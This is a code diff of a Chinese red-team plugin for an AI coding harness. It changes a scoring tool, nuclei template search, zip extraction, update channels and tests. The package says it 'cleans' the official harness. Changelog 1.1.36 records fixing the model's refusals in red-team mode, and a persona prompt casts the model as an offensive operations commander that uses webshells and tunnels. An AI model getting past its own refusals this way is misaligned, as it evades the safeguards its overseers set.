const needle = raw.toLowerCase()
const out = []
for (const [path, name, severity, tags] of items) {
const hay = (path + ' ' + name + ' ' + tags).toLowerCase()
if (hay.includes(needle)) out.push({ path, name, severity, tags })
if (out.length >= limit) break
const cat = String(category || '').trim()
const inCat = (row) => cat === '' || row.category === cat
let matched = rows.filter((row) => row.listed && inCat(row))
if (raw !== '') {
const needle = raw.toLowerCase()
matched = []
for (const row of rows) {
if (!inCat(row)) continue
const hay = (row.path + ' ' + row.name + ' ' + row.tags).toLowerCase()
if (hay.includes(needle)) matched.push(row)
}
}
return { dir, total: items.length, items: out }
const page = matched.slice(start, start + cap).map(({ path, name, severity, tags, category: code }) => ({
path, name, severity, tags, category: code,
}))
return { dir, total: rows.length, matched: matched.length, offset: start, items: page, byCategory }
}
+8 -5
View File
@@ -1395,7 +1395,7 @@ export function apply(ctx) {
ctx.tools.register(withStructuredErrors(defineTool({
name: 'redteam_score_hit',
description: '记录一次得分。得分规则已按《突破入侵类得分规则(合并版)》重构为 **22 项**(一、获取权限 18 项 + 二、突破网络边界 4 项),'
description: '记录一次得分。得分规则已按《突破入侵类得分规则(合并版)》重构为 **25 项**(一、获取权限 21 项 + 二、突破网络边界 4 项,共 8 个类别),'
+ '另有 8 条通用规则 G1–G8 横切全部条目。**记分前先用 `redteam_score_list` 读实际 code 与该条的上限/口径**,不要凭记忆写。\n\n'
+ '**证据只写结果**:目标资产 + 拿到了什么(账号/密码/权限/数据量),不要写取得过程与路径——过程由攻击得分链路的步骤负责。'
+ '能指向"用哪个漏洞拿到的"时带上 vuln_id,报告会自动附上该漏洞的原始请求。\n\n'
@@ -1701,9 +1701,9 @@ export function apply(ctx) {
/* templateStats() / nucleiTemplatesDir() 都要扫模板目录:**一次调用只算一次**。
原来这一小段里 templateStats() 被连着算了三遍(13k 模板的目录每次都要走一遍)。 */
const tplStats = store.templateStats()
const tpl = q
? store.searchTemplates(q, Math.min(Number(args.templateLimit) || 20, 100))
: { dir: tplStats.dir || store.nucleiTemplatesDir() || null, total: tplStats.total, items: [] }
const tpl = (q || args.category)
? store.searchTemplates(q, Math.min(Number(args.templateLimit) || 20, 100), 0, args.category || '')
: { dir: tplStats.dir || store.nucleiTemplatesDir() || null, total: tplStats.total, items: [], byCategory: tplStats.byCategory }
const hit = items.length > 0 || (tpl.items || []).length > 0
return JSON.stringify({
ok: true,
@@ -1713,7 +1713,10 @@ export function apply(ctx) {
by_category: (stats.byCategory || []).filter((c) => c.n > 0).map((c) => c.name + ' ' + c.n + '(已验证 ' + c.verified + ')'),
by_engagement: (stats.byEngagement || []).slice(0, 10).map((e) => e.engagement + ' ' + e.n),
},
local_templates: { dir: tplStats.dir, total: tplStats.total, cve_templates: tplStats.cve, matched: (tpl.items || []).length },
local_templates: {
dir: tplStats.dir, total: tplStats.total, cve_templates: tplStats.cve, matched: (tpl.items || []).length,
by_category: (tplStats.byCategory || []).filter((c) => c.n > 0).map((c) => c.name + ' ' + c.n),
},
count: items.length,
hint: hit
? '命中现成的:知识库条目用 redteam_poc_get 取全文;nuclei 模板直接用 `nuclei -t <模板相对路径>`。用完 redteam_poc_use 记一次复用。'
+1 -1
View File
@@ -611,7 +611,7 @@ function handleSkillOpFromPluginDir(request) {
cached: false,
broken: Array.from(byName.values()).filter((x) => x.status === 'broken')
.map((x) => ({ name: x.name, problems: x.problems, needs_user: x.needs_user })),
note: '按本包技能文件自检(含环境适配 config.json)。缺密钥/工具会标为不可用,可在「环境适配」补全后点「重查可用性」。',
note: '按本包技能文件自检(含环境适配 config.json)。工具路径跟随 $DSH_HOME,不因示例路径或 VPS 占位符把整条技能标为不可用;缺必需密钥(如 FOFA_KEY)时仍会标为不可用。',
},
bySource: [{ key: 'plugin', n: items.length }],
byDir: [{ key: dir, n: items.length }],
+28 -14
View File
@@ -3,6 +3,7 @@ import { spawnSync } from "node:child_process";
import os from "node:os";
import path from "node:path";
import { findDshHome } from "./core.js";
import { extractZipArchive, listZipFile } from "./zip-extract.js";
export { findDshHome };
@@ -377,14 +378,31 @@ function isUnsafeArchiveEntry(name) {
return rel.split("/").some((part) => part === ".." || part === "");
}
function splitLines(text) {
return String(text || "").split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
}
function listArchiveEntries(archivePath) {
const result = spawnSync("tar", ["-tf", archivePath], {
windowsHide: true,
encoding: "utf8",
timeout: 15000,
});
if (result.status !== 0) return null;
return String(result.stdout || "").split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
if (result.status === 0) return splitLines(result.stdout);
if (/\.zip$/i.test(archivePath)) {
const unzip = spawnSync("unzip", ["-Z1", archivePath], {
windowsHide: true,
encoding: "utf8",
timeout: 15000,
});
if (unzip.status === 0) return splitLines(unzip.stdout);
try {
return listZipFile(archivePath);
} catch {
return null;
}
}
return null;
}
function extractArchive(archivePath, dest) {
@@ -395,24 +413,20 @@ function extractArchive(archivePath, dest) {
if (entries && entries.length > MAX_IMPORT_FILES) {
throw new Error("压缩包里文件太多");
}
if (/\.zip$/i.test(archivePath)) {
try {
extractZipArchive(archivePath, dest);
return;
} catch (error) {
throw new Error(String(error && error.message ? error.message : error));
}
}
const result = spawnSync("tar", ["-xf", archivePath, "-C", dest], {
windowsHide: true,
encoding: "utf8",
timeout: 30000,
});
if (result.status === 0) return;
if (/\.zip$/i.test(archivePath) && process.platform === "win32") {
const ps = spawnSync("powershell", [
"-NoProfile",
"-Command",
`Expand-Archive -LiteralPath '${String(archivePath).replace(/'/g, "''")}' -DestinationPath '${String(dest).replace(/'/g, "''")}' -Force`,
], {
windowsHide: true,
encoding: "utf8",
timeout: 30000,
});
if (ps.status === 0) return;
}
const detail = String(result.stderr || result.stdout || "").trim();
throw new Error(detail || "无法解压,请改用文件夹导入");
}
+25 -94
View File
@@ -9,6 +9,7 @@ import { fileURLToPath } from "node:url";
import { findDshHome } from "./core.js";
import { adapterFor, detectSurface } from "./surface.js";
import { cliInvocation } from "./desktop.js";
import { extractZipArchive } from "./zip-extract.js";
const REPO = "YuJunZhiXue/dsh-purge";
const STABLE_REF = "master";
@@ -91,8 +92,8 @@ function markAutoUpdateGuard(ref, sha = "") {
}, null, 2)}\n`, "utf8");
}
export function normalizeChannel(value) {
return String(value || "").toLowerCase() === "beta" ? "beta" : "stable";
export function normalizeChannel(_value) {
return "stable";
}
function isBetaName(name) {
@@ -136,27 +137,22 @@ export function latestStableVersion(versions) {
return best;
}
/** 正式版已经追上的旧测试版标签不再列出。1.1.11-beta 始终下线。
* 正式/测试是并行通道(测试带红队等),beta 分支 tip 始终保留,避免 1.1.25 正式把 1.1.25-beta 整通道藏掉。 */
export function hideListedVersion(item, stableVersion = "") {
/** 测试通道已下线。beta 分支、测试标签和名称里带 beta/rc/pre 的条目都不再列出。 */
export function hideListedVersion(item, _stableVersion = "") {
if (!item || withdrawnVersion(item)) return true;
const beta = item.channel === "beta" || isBetaName(item.version) || isBetaName(item.ref) || isBetaName(item.id);
if (!beta) return false;
// 并行测试通道 tip:始终可见。
if (item.ref === BETA_REF || item.kind === "head") return false;
const ceiling = String(stableVersion || "").replace(/^v/i, "");
if (!ceiling || isBetaName(ceiling)) return false;
const ver = String(item.version || item.ref || item.id || "").replace(/^v/i, "");
if (!/^\d+\.\d+/.test(ver)) return false;
return !versionIsNewer(ver, ceiling);
return item.channel === "beta" || isBetaName(item.version) || isBetaName(item.ref) || isBetaName(item.id);
}
export function readChannelState() {
const raw = readJson(channelStatePath()) || {};
return {
channel: normalizeChannel(raw.channel),
pin: typeof raw.pin === "string" ? raw.pin.trim() : "",
const stored = String(raw.channel || "").toLowerCase();
const pin = typeof raw.pin === "string" ? raw.pin.trim() : "";
const state = {
channel: "stable",
pin: isBetaName(pin) || pin === BETA_REF ? "" : pin,
};
if (stored === "beta" || state.pin !== pin) writeChannelState(state);
return state;
}
function writeChannelState(next) {
@@ -719,9 +715,8 @@ async function listRemoteVersions() {
if (next) out.push(next);
};
const [stableSha, betaSha, tags] = await Promise.all([
const [stableSha, tags] = await Promise.all([
remoteHeadSha(STABLE_REF),
remoteHeadSha(BETA_REF),
listGithubTags(),
]);
@@ -738,34 +733,6 @@ async function listRemoteVersions() {
latest: true,
});
}
if (betaSha) {
const version = await remotePackageVersion(betaSha, BETA_REF).catch(() => "");
add({
id: BETA_REF,
ref: BETA_REF,
sha: betaSha,
version: version || "",
channel: "beta",
label: `${versionLabel(version, "beta", betaSha)} · 最新`,
kind: "head",
latest: true,
});
} else {
// API/atom 拿不到 tip 时,仍用 raw/jsDelivr 探一下 beta 分支,避免测试通道整栏空白。
const version = await remotePackageVersion("", BETA_REF).catch(() => "");
if (version) {
add({
id: BETA_REF,
ref: BETA_REF,
sha: "",
version,
channel: "beta",
label: `${versionLabel(version, "beta")} · 最新`,
kind: "head",
latest: true,
});
}
}
for (const tag of tags) {
if (!withdrawnVersion(tag)) add(tag);
}
@@ -786,26 +753,21 @@ async function listRemoteVersions() {
localVer && !isBetaName(localVer) ? { channel: "stable", version: localVer } : null,
].filter(Boolean));
const visible = withLocal.filter((item) => !hideListedVersion(item, ceiling));
const betaOpen = visible.some((item) => item.channel === "beta");
return {
versions: markCurrent(visible, state, localVer, localSha),
hasBeta: betaOpen,
hasBeta: false,
stableSha,
betaSha: betaOpen ? betaSha : "",
betaSha: "",
};
}
function alignChannelState(state, listed, localRev, localVer) {
if (state.pin) return state;
if (listed.betaSha && localRev && sameRev(localRev, listed.betaSha) && state.channel !== "beta") {
return writeChannelState({ channel: "beta", pin: "" });
}
if (listed.stableSha && localRev && sameRev(localRev, listed.stableSha) && state.channel !== "stable") {
return writeChannelState({ channel: "stable", pin: "" });
}
if (!localRev && localVer) {
const inferred = isBetaName(localVer) ? "beta" : "stable";
if (inferred !== state.channel) return writeChannelState({ channel: inferred, pin: "" });
if (!localRev && localVer && state.channel !== "stable") {
return writeChannelState({ channel: "stable", pin: "" });
}
return state;
}
@@ -961,21 +923,9 @@ function gitResetTo(dir, ref, { force = false } = {}) {
}
function extractZip(zip, dest) {
try {
execFileSync("tar", ["-xf", zip, "-C", dest], { ...HIDDEN, timeout: 60000 });
return;
} catch {
// Windows 10+ 自带 tar;没有或失败时改 PowerShell。
}
execFileSync(
"powershell",
["-NoProfile", "-Command", "Expand-Archive -LiteralPath $env:DSH_UPD_ZIP -DestinationPath $env:DSH_UPD_DIR -Force"],
{
...HIDDEN,
timeout: 60000,
env: { ...process.env, DSH_UPD_ZIP: zip, DSH_UPD_DIR: dest },
},
);
// win32:tar(bsdtar) → powershell。darwin/linux:tar → unzip → python3 → bsdtar。
// 外部工具都不可用时用 Node 解 zip,Linux 不会再去调用 powershell。
extractZipArchive(zip, dest);
}
async function overlayFromZip(dests, ref = STABLE_REF) {
@@ -1134,28 +1084,8 @@ export async function applyUpdate(jobs = planUpdates(), options = {}) {
}
export async function switchChannel(channel, { apply = true } = {}) {
if (String(channel || "").toLowerCase() === "beta") throw new Error("测试版已下线");
const next = normalizeChannel(channel);
if (next === "beta") {
const listed = await listRemoteVersions();
if (!listed.hasBeta) {
const state = readChannelState();
const localVer = localVersion();
const localRev = (gitOk() ? gitHead(PLUGIN_ROOT) : "") || readStamp();
return rememberUpdate({
ok: false,
error: "还没有测试版",
hasBeta: false,
localVersion: localVer,
versions: listed.versions,
lanes: lanesOf(listed, state, localVer, localRev),
...channelPublic(state),
});
}
if (!listed.betaSha && apply) {
const tag = listed.versions.find((item) => item.channel === "beta" && item.kind === "tag");
if (tag) return applyUpdate(planUpdates(), { ref: tag.ref, channel: "beta", pin: false, force: true });
}
}
if (!apply) {
writeChannelState({ channel: next, pin: "" });
return checkUpdate();
@@ -1199,11 +1129,12 @@ export async function handleUpdateOp(body = {}) {
const requested = body.ref || currentChannelRef(state);
const ref = safeUpdateRef(requested);
if (!ref) throw new Error("未知版本");
if (ref !== STABLE_REF && ref !== BETA_REF) {
if (ref === BETA_REF || isBetaName(ref)) throw new Error("测试版已下线");
if (ref !== STABLE_REF) {
const listed = await listRemoteVersions();
if (!listedUpdateRef(ref, listed)) throw new Error("未知版本");
}
const channel = body.channel || (ref === BETA_REF ? "beta" : ref === STABLE_REF ? "stable" : state.channel);
const channel = body.channel === "beta" ? "stable" : (body.channel || (ref === STABLE_REF ? "stable" : state.channel));
return applyUpdate(planUpdates(), { ref, channel, pin: false, force: true });
}
+161
View File
@@ -0,0 +1,161 @@
import { execFileSync } from "node:child_process";
import fs from "node:fs";
import path from "node:path";
import zlib from "node:zlib";
const HIDDEN = {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true,
timeout: 60000,
};
/** 各平台解压顺序。node 不调用外部命令,macOS / Linux / Windows 都能用。 */
export function unzipTools(platform = process.platform) {
if (platform === "win32") return ["tar", "powershell", "node"];
return ["tar", "unzip", "python3", "bsdtar", "node"];
}
function safeZipName(name) {
const rel = String(name || "").replace(/\\/g, "/").replace(/^\.?\//, "").replace(/\/+$/, "");
if (!rel) return "";
if (rel.startsWith("/") || /^[A-Za-z]:/.test(rel)) throw new Error("zip 路径不合法");
const parts = rel.split("/");
if (parts.some((part) => part === ".." || part === "")) throw new Error("zip 路径不合法");
return parts.join("/");
}
function findEocd(buf) {
const min = Math.max(0, buf.length - 22 - 65535);
for (let i = buf.length - 22; i >= min; i -= 1) {
if (buf.readUInt32LE(i) === 0x06054b50) return i;
}
throw new Error("不是 zip");
}
function readZipEntries(buf) {
if (!Buffer.isBuffer(buf) || buf.length < 22) throw new Error("不是 zip");
const eocd = findEocd(buf);
const total = buf.readUInt16LE(eocd + 10);
let cursor = buf.readUInt32LE(eocd + 16);
const entries = [];
for (let n = 0; n < total; n += 1) {
if (cursor + 46 > buf.length || buf.readUInt32LE(cursor) !== 0x02014b50) {
throw new Error("zip 目录损坏");
}
const method = buf.readUInt16LE(cursor + 10);
const compSize = buf.readUInt32LE(cursor + 20);
const nameLen = buf.readUInt16LE(cursor + 28);
const extraLen = buf.readUInt16LE(cursor + 30);
const commentLen = buf.readUInt16LE(cursor + 32);
const localOffset = buf.readUInt32LE(cursor + 42);
const name = buf.toString("utf8", cursor + 46, cursor + 46 + nameLen);
entries.push({ name, method, compSize, localOffset });
cursor += 46 + nameLen + extraLen + commentLen;
}
return entries;
}
export function listZipEntries(buf) {
return readZipEntries(buf).map((entry) => entry.name.replace(/\\/g, "/"));
}
export function listZipFile(zipPath) {
return listZipEntries(fs.readFileSync(zipPath));
}
function localDataOffset(buf, localOffset) {
if (localOffset + 30 > buf.length || buf.readUInt32LE(localOffset) !== 0x04034b50) {
throw new Error("zip 本地头损坏");
}
const nameLen = buf.readUInt16LE(localOffset + 26);
const extraLen = buf.readUInt16LE(localOffset + 28);
return localOffset + 30 + nameLen + extraLen;
}
export function extractZipBuffer(buf, dest) {
fs.mkdirSync(dest, { recursive: true });
const root = path.resolve(dest);
for (const entry of readZipEntries(buf)) {
const rel = safeZipName(entry.name);
if (!rel) continue;
if (entry.compSize === 0xffffffff || entry.localOffset === 0xffffffff) {
throw new Error("不支持 zip64");
}
if (entry.method !== 0 && entry.method !== 8) {
throw new Error(`不支持的 zip 压缩方式 ${entry.method}`);
}
const start = localDataOffset(buf, entry.localOffset);
const end = start + entry.compSize;
if (end > buf.length) throw new Error("zip 数据被截断");
const compressed = buf.subarray(start, end);
const body = entry.method === 0 ? compressed : zlib.inflateRawSync(compressed);
const out = path.resolve(root, rel);
const prefix = root.endsWith(path.sep) ? root : root + path.sep;
if (out !== root && !out.startsWith(prefix)) throw new Error("zip 路径不合法");
fs.mkdirSync(path.dirname(out), { recursive: true });
fs.writeFileSync(out, body);
}
}
function attempt(file, args, extra = {}) {
try {
execFileSync(file, args, {
...HIDDEN,
stdio: ["ignore", "pipe", "pipe"],
...extra,
});
return "";
} catch (error) {
const detail = String((error && (error.stderr || error.stdout || error.message)) || "")
.trim()
.split(/\r?\n/)
.filter(Boolean)[0];
return detail ? `${file}: ${detail}` : file;
}
}
/** 按平台试外部工具,最后用 Node 解 zip。成功返回用到的方式。 */
export function extractZipArchive(zipPath, dest, tools = unzipTools()) {
fs.mkdirSync(dest, { recursive: true });
const notes = [];
for (const tool of tools) {
if (tool === "node") {
try {
extractZipBuffer(fs.readFileSync(zipPath), dest);
return "node";
} catch (error) {
notes.push(`node: ${error && error.message ? error.message : error}`);
break;
}
}
if (tool === "tar" || tool === "bsdtar") {
const note = attempt(tool, ["-xf", zipPath, "-C", dest]);
if (!note) return tool;
notes.push(note);
continue;
}
if (tool === "unzip") {
const note = attempt("unzip", ["-o", "-q", zipPath, "-d", dest]);
if (!note) return "unzip";
notes.push(note);
continue;
}
if (tool === "python3") {
const note = attempt("python3", ["-m", "zipfile", "-e", zipPath, dest]);
if (!note) return "python3";
notes.push(note);
continue;
}
if (tool === "powershell") {
const note = attempt(
"powershell",
["-NoProfile", "-Command", "Expand-Archive -LiteralPath $env:DSH_UPD_ZIP -DestinationPath $env:DSH_UPD_DIR -Force"],
{ env: { ...process.env, DSH_UPD_ZIP: zipPath, DSH_UPD_DIR: dest } },
);
if (!note) return "powershell";
notes.push(note);
}
}
throw new Error(`解压失败:${notes.join(" | ") || "没有可用的解压工具"}`);
}
+4 -1
View File
@@ -1,6 +1,6 @@
{
"name": "dsh-purge",
"version": "1.1.33",
"version": "1.1.37",
"description": "DeepSeek Harness 网络安全红队工具:本机官方 Harness 受控评测与清洗,内嵌演练台;不同模型可换不同提示词;默认提示词面向国模「小码酱」。求 Star ⭐",
"type": "module",
"main": "lib/index.js",
@@ -39,6 +39,9 @@
"test:identity": "node scripts/test-identity-assembly.mjs",
"test:yaml": "node scripts/test-yaml-comment.mjs",
"test:update": "node scripts/test-update-guards.mjs",
"test:zip": "node scripts/test-zip-extract.mjs",
"test:templates": "node scripts/test-template-page.mjs",
"test:skills": "node scripts/test-skill-availability.mjs",
"test:rewind": "node scripts/test-rewind-plan.mjs",
"test:idempotence": "node scripts/test-patch-idempotence.mjs",
"test:surface": "node scripts/test-surface-desktop.mjs",
-2
View File
@@ -31,8 +31,6 @@
config:
# 新版 dsh-persona 用 prefix/suffix 取代了旧的 text 字段(text 会因缺 prefix 挂载失败)
prefix: |
你是红队(RedTeam)作战**指挥**智能体,运行在 {{model}} 上,工作目录 {{cwd}}。
## 运行环境前提(第一次开工前提醒用户一次)
红队模式会**真实发包、上传文件、建立隧道**,优先在**专供演练的 Kali 虚拟机**里跑,
**尽量不要用日常办公电脑/宿主机当主战场**(私钥、冰蝎/哥斯拉马与扫描器落盘、EDR 误伤、出口 IP 信誉等风险仍在):
+58
View File
@@ -1,3 +1,61 @@
# 1.1.37
## 中文
- 版本升级到 1.1.37。
- 修改演示台环境配置滚动问题。
## English
- Version 1.1.37.
- The drill console environment page scrolls, so the rest of the settings can be filled in.
# 1.1.36
## 中文
- 版本升级到 1.1.36。
- 解决红队模式拒绝问题。
## English
- Version 1.1.36.
- Fix red team mode refusing the cleaned prompt.
# 1.1.35
## 中文
- 版本升级到 1.1.35。
- 启动时不再自动更新,要自己在面板里选择。
- dsh-purge 入口改到「上下文」旁边,不再挡住别的插件按钮。
- 得分口径对齐上游:25 项,Web 应用增加兜底归类。
- 知识库 14 类计数包含本机 nuclei 模板,点某一类可以筛选。
- 技能路径跟随 `$DSH_HOME`,不再因为示例路径在本机不存在就把整条技能标成不可用。
## English
- Version 1.1.35.
- Startup no longer auto-updates; choose the update in the panel.
- The dsh-purge entry sits beside Context, so it no longer covers other plugin buttons.
- Scoring matches upstream: 25 items, with a fallback bucket for other web apps.
- The 14 knowledge categories count local nuclei templates, and a category filters the list.
- Skill paths follow `$DSH_HOME`. A skill is no longer marked unavailable just because an example path is missing on this machine.
# 1.1.34
## 中文
- 版本升级到 1.1.34。
- **演练台知识库直接列出本机模板**。打开「知识库 · POC / EXP」就能看到一页 nuclei 模板,并可以翻页、按 CVE 或组件搜索。不再只显示「本机模板 N」、下面是空的。
- **更新包在 Windows、macOS、Linux 上都能解压**。Linux 不再调用 PowerShell。顺序是:Windows 用 tar,不行再用 PowerShell;macOS 和 Linux 用 tar、unzip、python3、bsdtar。这些都没有时,用 Node 自己解 zip。感谢 @cracer4869 在 #44 报出 Kali 上的 `spawnSync powershell ENOENT`。
## English
- Version 1.1.34.
- **The drill knowledge page lists local templates.** Opening Knowledge shows a page of nuclei templates, with paging and search by CVE or component. It no longer shows only the template count.
- **Update archives extract on Windows, macOS, and Linux.** Linux does not call PowerShell. Windows tries tar, then PowerShell. macOS and Linux try tar, unzip, python3, then bsdtar. If none of those exist, Node extracts the zip itself. Thanks to @cracer4869 for reporting `spawnSync powershell ENOENT` on Kali in #44.
# 1.1.33
## 中文
+1 -7
View File
@@ -415,13 +415,7 @@ const newApply = ` function apply(ctx) {
name: "shell.overlay",
id: "dsh-purge-dock",
order: 50,
}, () => h(react.Fragment, null, h(PurgeDock), h(HeroNewSessionMount), h(EnvAdaptSendGate))));
ctx.slots.inject("conversation.session.header.utilities", () => ctx.slots.register({
name: "conversation.session.header.utilities",
id: "dsh-purge-header",
order: 90,
label: () => t("dock.inSession"),
}, () => h(SessionHeaderPurge)));
}, () => h(react.Fragment, null, h(PurgeDock), h(HeroNewSessionMount), h(TabRowPurgeMount), h(EnvAdaptSendGate))));
try {
if (typeof ctx.inject === "function") {
ctx.inject(["sessions", "uiWorkspace", "workspaces", "conversation"], (host) => installRewindUi(host));
+44
View File
@@ -0,0 +1,44 @@
import assert from "node:assert/strict";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { checkSkill, expandSkillPath } from "../lib/redteam/skill-availability.js";
const env = { DSH_HOME: "D:\\DeepSeek Harness\\.dsh", PATH: "" };
const expanded = expandSkillPath("~/.dsh/redteam/toolkit/fscan/fscan", env);
assert.equal(expanded.replace(/\//g, "\\"), "D:\\DeepSeek Harness\\.dsh\\redteam\\toolkit\\fscan\\fscan");
assert.ok(!expanded.includes(os.homedir()), "tilde .dsh must follow DSH_HOME, not the OS home");
const missingTool = checkSkill({
name: "fscan-intranet",
content: "run $DSH_HOME/redteam/toolkit/fscan/fscan\n",
}, { env });
assert.equal(missingTool.status, "available");
assert.equal(missingTool.problems.length, 0);
assert.ok(missingTool.checked.missing_paths.length > 0);
const fofa = checkSkill({
name: "fofa-recon",
content: 'KEY = os.environ["FOFA_KEY"]\n',
}, { env });
assert.equal(fofa.status, "broken");
assert.match(fofa.problems.join("\n"), /FOFA_KEY/);
const vps = checkSkill({
name: "vps",
content: "host <你的VPS_IP>\nkey $DSH_HOME/redteam/toolkit/vps/id_rsa\n",
}, { env });
assert.equal(vps.status, "available");
assert.equal(vps.problems.some((p) => p.includes("路径不存在")), false);
const skillDir = path.resolve("skills/redteam");
const broken = [];
for (const file of fs.readdirSync(skillDir).filter((f) => f.endsWith(".md"))) {
const content = fs.readFileSync(path.join(skillDir, file), "utf8");
const name = file.replace(/\.md$/, "");
const verdict = checkSkill({ name, content, path: path.join(skillDir, file) }, { env });
if (verdict.status !== "available") broken.push(name + " " + verdict.problems.join(" | "));
}
assert.deepEqual(broken.filter((line) => !line.startsWith("fofa-recon")), []);
console.log("ok: skill paths follow DSH_HOME");
console.log(broken.join("\n") || "(no broken skills)");
+64
View File
@@ -0,0 +1,64 @@
import assert from "node:assert/strict";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { dispatch, RedteamStore } from "../lib/redteam/store-core.js";
const root = fs.mkdtempSync(path.join(os.tmpdir(), "dsh-tpl-"));
const templates = path.join(root, "templates");
fs.mkdirSync(path.join(templates, ".github"), { recursive: true });
fs.mkdirSync(path.join(templates, "http"), { recursive: true });
fs.writeFileSync(path.join(templates, ".github", "auto.yml"), "name: nope\n");
fs.writeFileSync(
path.join(templates, "http", "cve.yml"),
"id: x\ninfo:\n name: CVE-2024-1 demo\n severity: high\n tags: cve\n",
);
fs.writeFileSync(
path.join(templates, "http", "rce.yml"),
"id: r\ninfo:\n name: Demo RCE\n severity: critical\n tags: cve,rce\n",
);
fs.writeFileSync(
path.join(templates, "http", "sqli.yml"),
"id: s\ninfo:\n name: Demo SQLi\n severity: high\n tags: sqli\n",
);
const prev = process.env.NUCLEI_TEMPLATES_DIR;
process.env.NUCLEI_TEMPLATES_DIR = templates;
let store;
try {
store = new RedteamStore(path.join(root, "rt"));
const page = store.searchTemplates("", 40, 0);
assert.equal(page.total, 4);
assert.equal(page.matched, 3);
assert.equal(page.items.length, 3);
assert.equal(page.items[0].name, "CVE-2024-1 demo");
assert.equal(page.items[0].severity, "high");
assert.equal(page.items[0].category, "other");
const byCode = new Map(page.byCategory.map((c) => [c.code, c.n]));
assert.equal(byCode.get("rce"), 1);
assert.equal(byCode.get("sqli"), 1);
assert.ok(byCode.get("rce") > 0, "rce chip is not zero");
const onlyRce = store.searchTemplates("", 40, 0, "rce");
assert.equal(onlyRce.matched, 1);
assert.equal(onlyRce.items[0].name, "Demo RCE");
assert.equal(onlyRce.items[0].category, "rce");
assert.equal(onlyRce.byCategory.find((c) => c.code === "sqli").n, 1);
const found = store.searchTemplates("CVE-2024-1");
assert.equal(found.items.length, 1);
const hidden = store.searchTemplates("nope");
assert.equal(hidden.items[0].path.replace(/\\/g, "/"), ".github/auto.yml");
const listed = dispatch(store, { op: "pocSearch", templateLimit: 40, templateOffset: 0 });
assert.equal(listed.ok, true);
assert.equal(listed.templates.items.length, 3);
assert.equal(listed.templates.total, 4);
assert.equal(listed.templates.byCategory.find((c) => c.code === "rce").n, 1);
const filtered = dispatch(store, { op: "pocSearch", category: "sqli", templateLimit: 40, templateOffset: 0 });
assert.equal(filtered.templates.matched, 1);
assert.equal(filtered.templates.items[0].category, "sqli");
console.log("ok: template page");
} finally {
try { store?.close(); } catch { /* ignore */ }
if (prev === undefined) delete process.env.NUCLEI_TEMPLATES_DIR;
else process.env.NUCLEI_TEMPLATES_DIR = prev;
fs.rmSync(root, { recursive: true, force: true });
}
+4 -6
View File
@@ -40,18 +40,16 @@ const caughtUp = [
];
const ceiling = latestStableVersion(caughtUp);
assert.equal(ceiling, "1.1.12");
assert.equal(hideListedVersion(caughtUp[2], ceiling), true); // 已追上的旧 beta 标签仍隐藏
assert.equal(hideListedVersion(caughtUp[3], ceiling), false); // beta 分支 tip 始终保留(并行通道)
assert.equal(hideListedVersion(caughtUp[4], ceiling), false);
assert.equal(hideListedVersion(caughtUp[2], ceiling), true);
assert.equal(hideListedVersion(caughtUp[3], ceiling), true);
assert.equal(hideListedVersion(caughtUp[4], ceiling), true);
assert.equal(hideListedVersion({ ref: "v1.1.11-beta.1", version: "1.1.11-beta.1", channel: "beta" }, ""), true);
const visible = caughtUp.filter((item) => !hideListedVersion(item, ceiling));
assert.deepEqual(visible.map((item) => item.ref), ["master", "v1.1.12", "beta", "v1.1.13-beta.1"]);
assert.deepEqual(visible.map((item) => item.ref), ["master", "v1.1.12"]);
const staleSha = "423a91614baa747b56749003d054fedb8e725714";
const shown = markCurrent(visible, { channel: "stable", pin: "" }, "1.1.12", staleSha);
assert.equal(shown.find((item) => item.ref === "master").current, true);
assert.equal(shown.find((item) => item.ref === "v1.1.12").current, false);
assert.equal(shown.find((item) => item.ref === "beta").current, false);
assert.equal(shown.find((item) => item.ref === "v1.1.13-beta.1").current, false);
console.log("ok: update guards");
+108
View File
@@ -0,0 +1,108 @@
import assert from "node:assert/strict";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import zlib from "node:zlib";
import { extractZipArchive, extractZipBuffer, listZipEntries, unzipTools } from "../lib/zip-extract.js";
function crc32(buf) {
let c = ~0;
for (const byte of buf) {
c ^= byte;
for (let i = 0; i < 8; i += 1) c = (c >>> 1) ^ (0xedb88320 & -(c & 1));
}
return ~c >>> 0;
}
function u16(n) {
const b = Buffer.alloc(2);
b.writeUInt16LE(n);
return b;
}
function u32(n) {
const b = Buffer.alloc(4);
b.writeUInt32LE(n >>> 0);
return b;
}
function buildZip(files) {
const locals = [];
const centrals = [];
let offset = 0;
for (const file of files) {
const name = Buffer.from(file.name, "utf8");
const body = Buffer.from(file.body);
const method = file.method === 8 ? 8 : 0;
const data = method === 8 ? zlib.deflateRawSync(body) : body;
const crc = crc32(body);
const local = Buffer.concat([
u32(0x04034b50), u16(20), u16(0), u16(method), u16(0), u16(0),
u32(crc), u32(data.length), u32(body.length), u16(name.length), u16(0),
name, data,
]);
locals.push(local);
const central = Buffer.concat([
u32(0x02014b50), u16(20), u16(20), u16(0), u16(method), u16(0), u16(0),
u32(crc), u32(data.length), u32(body.length), u16(name.length), u16(0), u16(0),
u16(0), u16(0), u32(0), u32(offset),
name,
]);
centrals.push(central);
offset += local.length;
}
const cd = Buffer.concat(centrals);
const eocd = Buffer.concat([
u32(0x06054b50), u16(0), u16(0), u16(files.length), u16(files.length),
u32(cd.length), u32(offset), u16(0),
]);
return Buffer.concat([...locals, cd, eocd]);
}
assert.deepEqual(unzipTools("win32"), ["tar", "powershell", "node"]);
assert.deepEqual(unzipTools("linux"), ["tar", "unzip", "python3", "bsdtar", "node"]);
assert.deepEqual(unzipTools("darwin"), ["tar", "unzip", "python3", "bsdtar", "node"]);
assert.equal(unzipTools("linux").includes("powershell"), false);
assert.equal(unzipTools("darwin").includes("powershell"), false);
const zip = buildZip([
{ name: "hello.txt", body: "hello", method: 0 },
{ name: "nested/a.txt", body: "deflated-body", method: 8 },
{ name: "dir/", body: "", method: 0 },
]);
assert.deepEqual(listZipEntries(zip), ["hello.txt", "nested/a.txt", "dir/"]);
const dest = fs.mkdtempSync(path.join(os.tmpdir(), "dsh-zip-"));
try {
extractZipBuffer(zip, dest);
assert.equal(fs.readFileSync(path.join(dest, "hello.txt"), "utf8"), "hello");
assert.equal(fs.readFileSync(path.join(dest, "nested", "a.txt"), "utf8"), "deflated-body");
